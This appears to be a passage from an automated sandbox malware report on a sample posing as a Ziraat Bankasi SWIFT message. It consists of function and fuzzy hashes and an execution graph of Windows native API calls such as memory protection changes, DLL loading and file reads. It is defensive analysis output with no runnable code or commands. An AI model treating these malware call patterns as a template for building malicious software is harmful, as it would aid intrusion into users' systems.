                                                                        • Instruction ID: 82c1677a8f705058ef2e7edc694a31cdad510fbe35612a9b89116b6b9bdc5b37
                                                                        • Opcode Fuzzy Hash: ba88c79e7b98098a1a07f10ef97a3ce81dd5361cb3f21e8198d5670a5f5616df
                                                                        • Instruction Fuzzy Hash: A6617DB0A046499FD748DFBAEA95A99BBF2FBC4304F04C439C048DB224EB795D45CB90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 017404E8 Relevance: .2, Instructions: 166COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.328724884.0000000001740000.00000040.00000800.00020000.00000000.sdmp, Offset: 01740000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_1740000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: a8740cd07843d8084008e950eef7148160ef3ba17092dfc21f03bdb8a06a9cd3
                                                                        • Instruction ID: ca4256d1e06df249fe6cd8b47c56a3a968584820c6cd6ffc7fff8fd1054ebb25
                                                                        • Opcode Fuzzy Hash: a8740cd07843d8084008e950eef7148160ef3ba17092dfc21f03bdb8a06a9cd3
                                                                        • Instruction Fuzzy Hash: 71617B74A052499FD718DFBAE584A9ABBF2FFC4204F04C439C418DB268EB3958468B91
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 017404F8 Relevance: .2, Instructions: 160COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.328724884.0000000001740000.00000040.00000800.00020000.00000000.sdmp, Offset: 01740000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_1740000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: b062de5ebfc4f3294939fe67ab9b0e38486d8c81e03f3ed1ffdd903319931e8f
                                                                        • Instruction ID: ffc5cdfa61481b1fbca45a0291090108d5b7c95d2c334054669afccf31248a47
                                                                        • Opcode Fuzzy Hash: b062de5ebfc4f3294939fe67ab9b0e38486d8c81e03f3ed1ffdd903319931e8f
                                                                        • Instruction Fuzzy Hash: 86616C74A052499FD718DFBAE594A9ABBF2FBC4204F04C439C418DB228EB3958459B91
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05FEEEB0 Relevance: .2, Instructions: 160COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.336086235.0000000005FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FE0000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5fe0000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: c74221d4ff0b90d44a580d37198d443c025050e6c7d7cf9e15fd569f72a3084a
                                                                        • Instruction ID: cfe9d2c680664f797694058a00f08090434823673cbb630033689426c4094718
                                                                        • Opcode Fuzzy Hash: c74221d4ff0b90d44a580d37198d443c025050e6c7d7cf9e15fd569f72a3084a
                                                                        • Instruction Fuzzy Hash: 7C614CB0A146499FD758DFAAEA95A99BBF2FBC4304F04C439C008DB224EB795D45CB90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01748588 Relevance: .1, Instructions: 102COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.328724884.0000000001740000.00000040.00000800.00020000.00000000.sdmp, Offset: 01740000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_1740000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 7518b99a47daa32517865909f7bc6323dfc8ebd045db484dedbd8c15209ea6b4
                                                                        • Instruction ID: 8e4ef6dbc90b9f962d93357ec18cf3c91f8e6dd1b58985c1bd71c2628372ba07
                                                                        • Opcode Fuzzy Hash: 7518b99a47daa32517865909f7bc6323dfc8ebd045db484dedbd8c15209ea6b4
                                                                        • Instruction Fuzzy Hash: DF4142B1E056588BE75CCF6BCD4469EFAF3BFC9200F14C1BAC40CAA255DB3109558E11
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01748578 Relevance: .1, Instructions: 98COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.328724884.0000000001740000.00000040.00000800.00020000.00000000.sdmp, Offset: 01740000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_1740000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 35f87290e6a518bd9780bdfcc5b3d47da3ff02bf19b8047109dc5ab8f13df6e1
                                                                        • Instruction ID: d0f75cc161e0f15a06d020c10dc7a5e693ce711b403e6b3721e34000f9fe1a1f
                                                                        • Opcode Fuzzy Hash: 35f87290e6a518bd9780bdfcc5b3d47da3ff02bf19b8047109dc5ab8f13df6e1
                                                                        • Instruction Fuzzy Hash: E34115B1E056188BEB5CCF6B9D4069EFAF7BFC9300F14C1BAC44CA6269EB3105518E51
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05FEAFBA Relevance: .1, Instructions: 97COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.336086235.0000000005FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FE0000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5fe0000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 13fdb53f4feb0714a56a706cedf78ce60bf3693ca281045679f5bc4212d14cf1
                                                                        • Instruction ID: 6cd91f13e32d16f543a2297083e84b9f51634cbf80be663b83f948a6973d6e49
                                                                        • Opcode Fuzzy Hash: 13fdb53f4feb0714a56a706cedf78ce60bf3693ca281045679f5bc4212d14cf1
                                                                        • Instruction Fuzzy Hash: 8C4193B1E0421D9BDB08DFEAC9456EEFBF2BF88310F14C02AD518AB254DB349946CB50
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Execution Graph

                                                                        Execution Coverage:4.6%
                                                                        Dynamic/Decrypted Code Coverage:2.2%
                                                                        Signature Coverage:4.1%
                                                                        Total number of Nodes:676
                                                                        Total number of Limit Nodes:89
                                                                        execution_graph 33636 4014e9 33638 4014f0 NtProtectVirtualMemory 33636->33638 33639 401570 33638->33639 33643 422de1 33639->33643 33647 422de7 33639->33647 33640 40157b 33644 422de7 33643->33644 33650 41f537 33644->33650 33648 41f537 26 API calls 33647->33648 33649 422df2 33648->33649 33649->33640 33651 41f55d 33650->33651 33664 40b327 33651->33664 33653 41f569 33663 41f5c3 33653->33663 33672 40f567 33653->33672 33655 41f57e 33656 41f591 33655->33656 33684 40f527 33655->33684 33659 41f5a6 33656->33659 33725 41e1c7 33656->33725 33689 40d157 33659->33689 33661 41f5b5 33662 41e1c7 2 API calls 33661->33662 33662->33663 33663->33640 33667 40b334 33664->33667 33728 40b277 33664->33728 33666 40b33b 33666->33653 33667->33666 33740 40b217 33667->33740 33673 40f593 33672->33673 34160 40c7d7 33673->34160 33675 40f5a5 34164 40f437 33675->34164 33678 40f5c0 33679 41dfa7 2 API calls 33678->33679 33681 40f5cb 33678->33681 33679->33681 33680 40f5d8 33682 41dfa7 2 API calls 33680->33682 33683 40f5e9 33680->33683 33681->33655 33682->33683 33683->33655 33685 40f546 33684->33685 33686 418a77 LdrLoadDll 33684->33686 33687 40f54d 33685->33687 33688 40f54f GetUserGeoID 33685->33688 33686->33685 33687->33656 33688->33656 33690 40d17c 33689->33690 33691 40c7d7 LdrLoadDll 33690->33691 33692 40d1d3 33691->33692 34183 40c457 33692->34183 33694 40d44a 33694->33661 33695 40d1f9 33695->33694 34192 417f97 33695->34192 33697 40d23e 33697->33694 34195 409527 33697->34195 33699 40d282 33699->33694 34217 41e017 33699->34217 33703 40d2d8 33704 40d2df 33703->33704 34229 41db27 33703->34229 33706 41fa27 2 API calls 33704->33706 33708 40d2ec 33706->33708 33708->33661 33709 40d329 33710 41fa27 2 API calls 33709->33710 33711 40d330 33710->33711 33711->33661 33712 40d339 33713 40f5f7 3 API calls 33712->33713 33714 40d3ad 33713->33714 33714->33704 33715 40d3b8 33714->33715 33716 41fa27 2 API calls 33715->33716 33717 40d3dc 33716->33717 34235 41db77 33717->34235 33720 41db27 2 API calls 33721 40d417 33720->33721 33721->33694 34240 41d937 33721->34240 33724 41e1c7 2 API calls 33724->33694 33726 41eae7 LdrLoadDll 33725->33726 33727 41e1e6 ExitProcess 33726->33727 33727->33659 33759 41c6d7 33728->33759 33732 40b29d 33732->33667 33733 40b293 33733->33732 33766 41ee97 33733->33766 33735 40b2da 33735->33732 33777 40b0b7 33735->33777 33737 40b2fa 33783 40ab27 LdrLoadDll 33737->33783 33739 40b30c 33739->33667 34134 41f187 33740->34134 33743 41f187 LdrLoadDll 33744 40b242 33743->33744 33745 41f187 LdrLoadDll 33744->33745 33746 40b258 33745->33746 33747 40f327 33746->33747 33748 40f340 33747->33748 34143 40c657 33748->34143 33750 40f353 34147 41dcf7 33750->34147 33754 40f379 33755 40f3a4 33754->33755 34153 41dd77 33754->34153 33756 41dfa7 2 API calls 33755->33756 33758 40b34c 33756->33758 33758->33653 33760 41c6e6 33759->33760 33784 418a77 33760->33784 33762 40b28a 33763 41c587 33762->33763 33790 41e117 33763->33790 33767 41eeb0 33766->33767 33797 418667 33767->33797 33769 41eec8 33770 41eed1 33769->33770 33836 41ecd7 33769->33836 33770->33735 33772 41eee5 33772->33770 33853 41da17 33772->33853 33775 41ef19 33775->33775 33858 41fa27 33775->33858 33780 40b0d1 33777->33780 34112 408917 33777->34112 33779 40b0d8 33779->33737 33780->33779 34125 408bd7 33780->34125 33783->33739 33785 418a85 33784->33785 33786 418a91 33784->33786 33785->33786 33789 418ef7 LdrLoadDll 33785->33789 33786->33762 33788 418be3 33788->33762 33789->33788 33793 41eae7 33790->33793 33792 41c59c 33792->33733 33794 41eb6c 33793->33794 33796 41eaf6 33793->33796 33794->33792 33795 418a77 LdrLoadDll 33795->33794 33796->33794 33796->33795 33798 41867b 33797->33798 33799 4189aa 33797->33799 33798->33799 33861 41d767 33798->33861 33799->33769 33802 4187ac 33864 41de77 33802->33864 33803 41878f 33921 41df77 LdrLoadDll 33803->33921 33806 418799 33806->33769 33807 4187d3 33808 41fa27 2 API calls 33807->33808 33809 4187df 33808->33809 33809->33806 33810 41896e 33809->33810 33812 418984 33809->33812 33816 418877 33809->33816 33811 41dfa7 2 API calls 33810->33811 33813 418975 33811->33813 33930 418387 LdrLoadDll NtReadFile NtClose 33812->33930 33813->33769 33815 418997 33815->33769 33817 4188de 33816->33817 33819 418886 33816->33819 33817->33810 33818 4188f1 33817->33818 33923 41ddf7 33818->33923 33821 41888b 33819->33821 33822 41889f 33819->33822 33922 418247 LdrLoadDll NtClose LdrInitializeThunk LdrInitializeThunk 33821->33922 33823 4188a4 33822->33823 33824 4188bc 33822->33824 33867 4182e7 33823->33867 33824->33813 33879 418007 33824->33879 33827 418895 33827->33769 33830 4188b2 33830->33769 33832 418951 33927 41dfa7 33832->33927 33834 4188d4 33834->33769 33835 41895d 33835->33769 33838 41ecf2 33836->33838 33837 41ed04 33837->33772 33838->33837 33948 41f9a7 33838->33948 33840 41ed24 33951 417c57 33840->33951 33842 41ed47 33842->33837 33843 417c57 3 API calls 33842->33843 33845 41ed69 33843->33845 33845->33837 33983 418fb7 33845->33983 33846 41edf1 33847 41ee01 33846->33847 34078 41ea67 LdrLoadDll 33846->34078 33994 41e8d7 33847->33994 33850 41ee2f 34073 41d9d7 33850->34073 33854 41eae7 LdrLoadDll 33853->33854 33855 41da33 33854->33855 34106 12b967a 33855->34106 33856 41da4e 33856->33775 34109 41e187 33858->34109 33860 41ef40 33860->33735 33862 418760 33861->33862 33863 41eae7 LdrLoadDll 33861->33863 33862->33802 33862->33803 33862->33806 33863->33862 33865 41eae7 LdrLoadDll 33864->33865 33866 41de93 NtCreateFile 33865->33866 33866->33807 33868 418303 33867->33868 33869 41ddf7 LdrLoadDll 33868->33869 33870 418324 33869->33870 33871 41832b 33870->33871 33872 41833f 33870->33872 33873 41dfa7 2 API calls 33871->33873 33874 41dfa7 2 API calls 33872->33874 33875 418334 33873->33875 33876 418348 33874->33876 33875->33830 33931 41fb47 LdrLoadDll RtlAllocateHeap 33876->33931 33878 418353 33878->33830 33880 418052 33879->33880 33883 418085 33879->33883 33881 41ddf7 LdrLoadDll 33880->33881 33884 41806d 33881->33884 33882 4181d0 33885 41ddf7 LdrLoadDll 33882->33885 33883->33882 33887 4180a1 33883->33887 33886 41dfa7 2 API calls 33884->33886 33891 4181eb 33885->33891 33888 418076 33886->33888 33889 41ddf7 LdrLoadDll 33887->33889 33888->33834 33890 4180bc 33889->33890 33893 4180c3 33890->33893 33894 4180d8 33890->33894 33944 41de37 LdrLoadDll 33891->33944 33898 41dfa7 2 API calls 33893->33898 33895 4180f3 33894->33895 33896 4180dd 33894->33896 33907 4180f8 33895->33907 33932 41fb07 33895->33932 33900 41dfa7 2 API calls 33896->33900 33897 418225 33901 41dfa7 2 API calls 33897->33901 33899 4180cc 33898->33899 33899->33834 33903 4180e6 33900->33903 33902 418230 33901->33902 33902->33834 33903->33834 33906 41815e 33908 418175 33906->33908 33943 41ddb7 LdrLoadDll 33906->33943 33914 41810a 33907->33914 33935 41df27 33907->33935 33910 418191 33908->33910 33911 41817c 33908->33911 33913 41dfa7 2 API calls 33910->33913 33912 41dfa7 2 API calls 33911->33912 33912->33914 33915 41819a 33913->33915 33914->33834 33916 4181c6 33915->33916 33938 41f827 33915->33938 33916->33834 33918 4181b1 33919 41fa27 2 API calls 33918->33919 33920 4181ba 33919->33920 33920->33834 33921->33806 33922->33827 33924 41eae7 LdrLoadDll 33923->33924 33925 418939 33924->33925 33926 41de37 LdrLoadDll 33925->33926 33926->33832 33928 41dfc3 NtClose 33927->33928 33929 41eae7 LdrLoadDll 33927->33929 33928->33835 33929->33928 33930->33815 33931->33878 33945 41e147 33932->33945 33934 41fb1f 33934->33907 33936 41eae7 LdrLoadDll 33935->33936 33937 41df43 NtReadFile 33936->33937 33937->33906 33939 41f834 33938->33939 33940 41f84b 33938->33940 33939->33940 33941 41fb07 2 API calls 33939->33941 33940->33918 33942 41f862 33941->33942 33942->33918 33943->33908 33944->33897 33946 41e163 RtlAllocateHeap 33945->33946 33947 41eae7 LdrLoadDll 33945->33947 33946->33934 33947->33946 33949 41f9d4 33948->33949 34079 41e057 33948->34079 33949->33840 33952 417c68 33951->33952 33953 417c70 33951->33953 33952->33842 33982 417f43 33953->33982 34082 420ae7 33953->34082 33955 417cc4 33956 420ae7 2 API calls 33955->33956 33960 417ccf 33956->33960 33957 417d1d 33959 420ae7 2 API calls 33957->33959 33963 417d31 33959->33963 33960->33957 33961 420c17 3 API calls 33960->33961 34093 420b87 LdrLoadDll RtlAllocateHeap RtlFreeHeap 33960->34093 33961->33960 33962 417d8e 33964 420ae7 2 API calls 33962->33964 33963->33962 34087 420c17 33963->34087 33966 417da4 33964->33966 33967 417de1 33966->33967 33969 420c17 3 API calls 33966->33969 33968 420ae7 2 API calls 33967->33968 33970 417dec 33968->33970 33969->33966 33971 417e26 33970->33971 33972 420c17 3 API calls 33970->33972 34094 420b47 LdrLoadDll RtlFreeHeap 33971->34094 33972->33970 33974 417f1b 34095 420b47 LdrLoadDll RtlFreeHeap 33974->34095 33976 417f25 34096 420b47 LdrLoadDll RtlFreeHeap 33976->34096 33978 417f2f 34097 420b47 LdrLoadDll RtlFreeHeap 33978->34097 33980 417f39 34098 420b47 LdrLoadDll RtlFreeHeap 33980->34098 33982->33842 33984 418fc8 33983->33984 33985 418667 8 API calls 33984->33985 33987 418fde 33985->33987 33986 418fe7 33986->33846 33987->33986 33988 41901e 33987->33988 33991 41906a 33987->33991 33989 41fa27 2 API calls 33988->33989 33990 41902f 33989->33990 33990->33846 33992 41fa27 2 API calls 33991->33992 33993 41906f 33992->33993 33993->33846 33995 41e8eb 33994->33995 33996 41e767 LdrLoadDll 33994->33996 34099 41e767 33995->34099 33996->33995 33998 41e8f4 33999 41e767 LdrLoadDll 33998->33999 34000 41e8fd 33999->34000 34001 41e767 LdrLoadDll 34000->34001 34002 41e906 34001->34002 34003 41e767 LdrLoadDll 34002->34003 34004 41e90f 34003->34004 34005 41e767 LdrLoadDll 34004->34005 34006 41e918 34005->34006 34007 41e767 LdrLoadDll 34006->34007 34008 41e924 34007->34008 34009 41e767 LdrLoadDll 34008->34009 34010 41e92d 34009->34010 34011 41e767 LdrLoadDll 34010->34011 34012 41e936 34011->34012 34013 41e767 LdrLoadDll 34012->34013 34014 41e93f 34013->34014 34015 41e767 LdrLoadDll 34014->34015 34016 41e948 34015->34016 34017 41e767 LdrLoadDll 34016->34017 34018 41e951 34017->34018 34019 41e767 LdrLoadDll 34018->34019 34020 41e95d 34019->34020 34021 41e767 LdrLoadDll 34020->34021 34022 41e966 34021->34022 34023 41e767 LdrLoadDll 34022->34023 34024 41e96f 34023->34024 34025 41e767 LdrLoadDll 34024->34025 34026 41e978 34025->34026 34027 41e767 LdrLoadDll 34026->34027 34028 41e981 34027->34028 34029 41e767 LdrLoadDll 34028->34029 34030 41e98a 34029->34030 34031 41e767 LdrLoadDll 34030->34031 34032 41e996 34031->34032 34033 41e767 LdrLoadDll 34032->34033 34034 41e99f 34033->34034 34035 41e767 LdrLoadDll 34034->34035 34036 41e9a8 34035->34036 34037 41e767 LdrLoadDll 34036->34037 34038 41e9b1 34037->34038 34039 41e767 LdrLoadDll 34038->34039 34040 41e9ba 34039->34040 34041 41e767 LdrLoadDll 34040->34041 34042 41e9c3 34041->34042 34043 41e767 LdrLoadDll 34042->34043 34044 41e9cf 34043->34044 34045 41e767 LdrLoadDll 34044->34045 34046 41e9d8 34045->34046 34047 41e767 LdrLoadDll 34046->34047 34048 41e9e1 34047->34048 34049 41e767 LdrLoadDll 34048->34049 34050 41e9ea 34049->34050 34051 41e767 LdrLoadDll 34050->34051 34052 41e9f3 34051->34052 34053 41e767 LdrLoadDll 34052->34053 34054 41e9fc 34053->34054 34055 41e767 LdrLoadDll 34054->34055 34056 41ea08 34055->34056 34057 41e767 LdrLoadDll 34056->34057 34058 41ea11 34057->34058 34059 41e767 LdrLoadDll 34058->34059 34060 41ea1a 34059->34060 34061 41e767 LdrLoadDll 34060->34061 34062 41ea23 34061->34062 34063 41e767 LdrLoadDll 34062->34063 34064 41ea2c 34063->34064 34065 41e767 LdrLoadDll 34064->34065 34066 41ea35 34065->34066 34067 41e767 LdrLoadDll 34066->34067 34068 41ea41 34067->34068 34069 41e767 LdrLoadDll 34068->34069 34070 41ea4a 34069->34070 34071 41e767 LdrLoadDll 34070->34071 34072 41ea53 34071->34072 34072->33850 34074 41eae7 LdrLoadDll 34073->34074 34075 41d9f3 34074->34075 34105 12b9860 LdrInitializeThunk 34075->34105 34076 41da0a 34076->33772 34078->33847 34080 41eae7 LdrLoadDll 34079->34080 34081 41e073 NtAllocateVirtualMemory 34080->34081 34081->33949 34083 420af7 34082->34083 34084 420afd 34082->34084 34083->33955 34085 41fb07 2 API calls 34084->34085 34086 420b23 34085->34086 34086->33955 34088 420b87 34087->34088 34089 41fb07 2 API calls 34088->34089 34090 420be4 34088->34090 34091 420bc1 34089->34091 34090->33963 34092 41fa27 2 API calls 34091->34092 34092->34090 34093->33960 34094->33974 34095->33976 34096->33978 34097->33980 34098->33982 34100 41e782 34099->34100 34101 418a77 LdrLoadDll 34100->34101 34103 41e7a2 34101->34103 34102 41e856 34102->33998 34103->34102 34104 418a77 LdrLoadDll 34103->34104 34104->34102 34105->34076 34107 12b968f LdrInitializeThunk 34106->34107 34108 12b9681 34106->34108 34107->33856 34108->33856 34110 41e1a3 RtlFreeHeap 34109->34110 34111 41eae7 LdrLoadDll 34109->34111 34110->33860 34111->34110 34113 408922 34112->34113 34114 408927 34112->34114 34113->33780 34115 41f9a7 2 API calls 34114->34115 34121 40894c 34115->34121 34116 4089af 34116->33780 34117 41d9d7 2 API calls 34117->34121 34118 4089b5 34120 4089db 34118->34120 34122 41e0d7 2 API calls 34118->34122 34120->33780 34121->34116 34121->34117 34121->34118 34124 41f9a7 2 API calls 34121->34124 34128 41e0d7 34121->34128 34123 4089cc 34122->34123 34123->33780 34124->34121 34126 408bf5 34125->34126 34127 41e0d7 2 API calls 34125->34127 34126->33737 34127->34126 34129 41e0f3 34128->34129 34130 41eae7 LdrLoadDll 34128->34130 34133 12b96e0 LdrInitializeThunk 34129->34133 34130->34129 34131 41e10a 34131->34121 34133->34131 34135 41f1aa 34134->34135 34138 40c307 34135->34138 34137 40b231 34137->33743 34140 40c32b 34138->34140 34139 40c332 34139->34137 34140->34139 34141 40c367 LdrLoadDll 34140->34141 34142 40c37e 34140->34142 34141->34142 34142->34137 34144 40c67a 34143->34144 34146 40c6f7 34144->34146 34158 41d7a7 LdrLoadDll 34144->34158 34146->33750 34148 41eae7 LdrLoadDll 34147->34148 34149 40f362 34148->34149 34149->33758 34150 41e2e7 34149->34150 34151 41e306 LookupPrivilegeValueW 34150->34151 34152 41eae7 LdrLoadDll 34150->34152 34151->33754 34152->34151 34154 41eae7 LdrLoadDll 34153->34154 34155 41dd93 34154->34155 34159 12b9910 LdrInitializeThunk 34155->34159 34156 41ddb2 34156->33755 34158->34146 34159->34156 34161 40c7fe 34160->34161 34162 40c657 LdrLoadDll 34161->34162 34163 40c861 34162->34163 34163->33675 34165 40f451 34164->34165 34173 40f507 34164->34173 34166 40c657 LdrLoadDll 34165->34166 34167 40f473 34166->34167 34174 41da57 34167->34174 34169 40f4b5 34177 41da97 34169->34177 34172 41dfa7 2 API calls 34172->34173 34173->33678 34173->33680 34175 41eae7 LdrLoadDll 34174->34175 34176 41da73 34175->34176 34176->34169 34178 41dab3 34177->34178 34179 41eae7 LdrLoadDll 34177->34179 34182 12b9fe0 LdrInitializeThunk 34178->34182 34179->34178 34180 40f4fb 34180->34172 34182->34180 34184 40c464 34183->34184 34185 40c468 34183->34185 34184->33695 34186 40c4b3 34185->34186 34187 40c481 34185->34187 34246 41d7e7 LdrLoadDll 34186->34246 34245 41d7e7 LdrLoadDll 34187->34245 34189 40c4c4 34189->33695 34191 40c4a3 34191->33695 34193 40f5f7 3 API calls 34192->34193 34194 417fbd 34192->34194 34193->34194 34194->33697 34247 409757 34195->34247 34197 40974d 34197->33699 34198 409545 34198->34197 34199 408917 4 API calls 34198->34199 34200 409623 34198->34200 34210 409583 34199->34210 34200->34197 34201 409703 34200->34201 34203 408917 4 API calls 34200->34203 34201->34197 34294 40f867 34201->34294 34214 409660 34203->34214 34205 40f867 11 API calls 34206 40972d 34205->34206 34206->34197 34207 40f867 11 API calls 34206->34207 34208 409743 34207->34208 34208->33699 34210->34200 34211 409619 34210->34211 34261 409207 34210->34261 34212 408bd7 2 API calls 34211->34212 34212->34200 34213 409207 17 API calls 34213->34214 34214->34201 34214->34213 34215 4096f9 34214->34215 34216 408bd7 2 API calls 34215->34216 34216->34201 34218 41eae7 LdrLoadDll 34217->34218 34219 41e033 34218->34219 34448 12b98f0 LdrInitializeThunk 34219->34448 34220 40d2b9 34222 40f5f7 34220->34222 34223 40f614 34222->34223 34449 41dad7 34223->34449 34226 40f65c 34226->33703 34227 41db27 2 API calls 34228 40f685 34227->34228 34228->33703 34230 41db2d 34229->34230 34231 41eae7 LdrLoadDll 34230->34231 34232 41db43 34231->34232 34455 12b9780 LdrInitializeThunk 34232->34455 34233 40d31c 34233->33709 34233->33712 34236 41eae7 LdrLoadDll 34235->34236 34237 41db93 34236->34237 34456 12b97a0 LdrInitializeThunk 34237->34456 34238 40d3f0 34238->33720 34241 41eae7 LdrLoadDll 34240->34241 34242 41d953 34241->34242 34457 12b9a20 LdrInitializeThunk 34242->34457 34243 40d443 34243->33724 34245->34191 34246->34189 34248 40977e 34247->34248 34249 408917 4 API calls 34248->34249 34256 4099d3 34248->34256 34250 4097d1 34249->34250 34251 408bd7 2 API calls 34250->34251 34250->34256 34252 409860 34251->34252 34253 408917 4 API calls 34252->34253 34252->34256 34254 409875 34253->34254 34255 408bd7 2 API calls 34254->34255 34254->34256 34259 4098d5 34255->34259 34256->34198 34257 408917 4 API calls 34257->34259 34258 409207 17 API calls 34258->34259 34259->34256 34259->34257 34259->34258 34260 408bd7 2 API calls 34259->34260 34260->34259 34262 40922c 34261->34262 34302 41d827 34262->34302 34265 409280 34265->34210 34266 409301 34337 40f747 LdrLoadDll NtClose 34266->34337 34267 41da17 2 API calls 34268 4092a4 34267->34268 34268->34266 34270 4092af 34268->34270 34272 40932d 34270->34272 34305 40d457 34270->34305 34271 40931c 34273 409323 34271->34273 34274 409339 34271->34274 34272->34210 34276 41dfa7 2 API calls 34273->34276 34338 41d8a7 LdrLoadDll 34274->34338 34276->34272 34277 4092c9 34277->34272 34325 409037 34277->34325 34279 409364 34281 40d457 5 API calls 34279->34281 34283 409384 34281->34283 34283->34272 34339 41d8d7 LdrLoadDll 34283->34339 34285 4093a9 34340 41d967 LdrLoadDll 34285->34340 34287 4093c3 34288 41d937 2 API calls 34287->34288 34289 4093d2 34288->34289 34290 41dfa7 2 API calls 34289->34290 34291 4093dc 34290->34291 34341 408e07 34291->34341 34293 4093f0 34293->34210 34295 40f88c 34294->34295 34296 408c17 8 API calls 34295->34296 34300 40f8b0 34296->34300 34297 409717 34297->34197 34297->34205 34298 418667 8 API calls 34298->34300 34300->34297 34300->34298 34301 41fa27 2 API calls 34300->34301 34436 40f6a7 34300->34436 34301->34300 34303 409276 34302->34303 34304 41eae7 LdrLoadDll 34302->34304 34303->34265 34303->34266 34303->34267 34304->34303 34306 40d482 34305->34306 34307 40f5f7 3 API calls 34306->34307 34308 40d4e1 34307->34308 34309 40d52a 34308->34309 34310 41db27 2 API calls 34308->34310 34309->34277 34311 40d50c 34310->34311 34312 40d513 34311->34312 34315 40d536 34311->34315 34313 41db77 2 API calls 34312->34313 34314 40d520 34313->34314 34316 41dfa7 2 API calls 34314->34316 34317 40d5a0 34315->34317 34318 40d580 34315->34318 34316->34309 34320 41db77 2 API calls 34317->34320 34319 41dfa7 2 API calls 34318->34319 34321 40d58d 34319->34321 34322 40d5b2 34320->34322 34321->34277 34323 41dfa7 2 API calls 34322->34323 34324 40d5bc 34323->34324 34324->34277 34326 40904d 34325->34326 34357 41d347 34326->34357 34328 409066 34336 4091d8 34328->34336 34378 408c17 34328->34378 34330 40914c 34331 408e07 11 API calls 34330->34331 34330->34336 34332 40917a 34331->34332 34333 41da17 2 API calls 34332->34333 34332->34336 34334 4091af 34333->34334 34335 41e017 2 API calls 34334->34335 34334->34336 34335->34336 34336->34210 34337->34271 34338->34279 34339->34285 34340->34287 34342 408e30 34341->34342 34417 408d77 34342->34417 34344 408e43 34346 41e017 2 API calls 34344->34346 34347 408ece 34344->34347 34350 408ec9 34344->34350 34425 40f7c7 34344->34425 34346->34344 34347->34293 34348 41dfa7 2 API calls 34349 408f01 34348->34349 34349->34347 34351 41d827 LdrLoadDll 34349->34351 34350->34348 34352 408f66 34351->34352 34352->34347 34429 41d867 LdrLoadDll 34352->34429 34354 408fca 34354->34347 34355 418667 8 API calls 34354->34355 34356 40901f 34355->34356 34356->34293 34358 41fb07 2 API calls 34357->34358 34359 41d35e 34358->34359 34385 40a967 34359->34385 34361 41d379 34362 41d39a 34361->34362 34363 41d3ae 34361->34363 34364 41fa27 2 API calls 34362->34364 34366 41f9a7 2 API calls 34363->34366 34365 41d3a4 34364->34365 34365->34328 34367 41d415 34366->34367 34368 41f9a7 2 API calls 34367->34368 34369 41d42e 34368->34369 34375 41d6fe 34369->34375 34391 41f9e7 34369->34391 34372 41d6ea 34373 41fa27 2 API calls 34372->34373 34374 41d6f4 34373->34374 34374->34328 34376 41fa27 2 API calls 34375->34376 34377 41d753 34376->34377 34377->34328 34379 408d16 34378->34379 34380 408c2c 34378->34380 34379->34330 34380->34379 34381 418667 8 API calls 34380->34381 34382 408c99 34381->34382 34383 41fa27 2 API calls 34382->34383 34384 408cc0 34382->34384 34383->34384 34384->34330 34386 40a98c 34385->34386 34387 40c307 LdrLoadDll 34386->34387 34388 40a9bf 34387->34388 34390 40a9e4 34388->34390 34394 40de87 34388->34394 34390->34361 34411 41e097 34391->34411 34395 40deb3 34394->34395 34396 41dcf7 LdrLoadDll 34395->34396 34397 40decc 34396->34397 34398 40ded3 34397->34398 34405 41dd37 34397->34405 34398->34390 34402 40df0e 34403 41dfa7 2 API calls 34402->34403 34404 40df31 34403->34404 34404->34390 34406 41dd53 34405->34406 34407 41eae7 LdrLoadDll 34405->34407 34409 12b9710 LdrInitializeThunk 34406->34409 34407->34406 34408 40def6 34408->34398 34410 41e327 LdrLoadDll 34408->34410 34409->34408 34410->34402 34412 41eae7 LdrLoadDll 34411->34412 34413 41e0b3 34412->34413 34416 12b9a00 LdrInitializeThunk 34413->34416 34414 41d6e3 34414->34372 34414->34375 34416->34414 34418 408d8f 34417->34418 